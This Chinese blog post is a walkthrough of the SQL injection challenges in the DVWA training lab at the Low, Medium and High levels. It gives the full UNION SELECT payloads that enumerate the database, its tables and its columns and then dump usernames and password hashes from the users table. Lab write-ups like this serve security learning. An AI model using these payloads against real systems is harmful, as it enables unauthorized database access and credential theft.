DVWA靶场—sql闯关

部署靶场就不再赘述了,修改难度后自行开始闯关吧~

目录

LOW

Medium

High

LOW

  • 看到这种框框首先判断是什么类型的注入,先给个 ’ 进行探测,发现单引号会报错,但是双引号不会报错,所以闭合是 ' 号

  • 然后继续使用order by 探测列数,探测为2的时候显示正常,为3时就报错,所以确定列数是2列

 

  • 然后再使用联表查询,爆出数据库名,得到dvwa的数据库名
1' union select database(),2#

  • 再通过数据库名爆出表名,得到表guestbook和users;
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

  • 得到表名后再爆出列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

  • 最后直接爆出username和password的字段信息
1' union select group_concat(user),group_concat(password) from users#

 

Medium

  • 看到这里感觉和pikachu的某一关很像,这里先抓包看看,感觉是个post请求

  • 先尝试给一个 引号 ,看看是否会报错,看到有斜杆,应该是被转译了

  • 尝试给了双引号,也会报错,通过之前的抓包分析,发现id选择可能都是数字,不是字符型的,或许不需要闭合

  • 去掉引号,直接使用 order by探测,发现是可以探测出来的,列数是两列

  • 直接使用 union select 查询数据库名
id=1 union select 1,database()&Submit=Submit

  • 接下来的步骤和上面一样,爆表名,列名,最后得到用户信息

High

  • 发现这关是带弹窗的,老办法,先使用1' 进行探测,发现报错

  • 再使用 1" 进行探测,发现页面恢复正常

  • 所以确认是 单引号闭合,先尝试直接order by 探测列数看是否可以探测

    order by 2显示正常

 order by 3显示报错

  • 探测出列数为两列,所以直接使用 union select 查询数据库名

  • 然后根据数据库名,爆出表名
 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  • 根据数据库名和表名,爆出列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

  • 最后联合重要的列名,和表名,爆出其中的数据
1' union select group_concat(user),group_concat(password) from users#

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值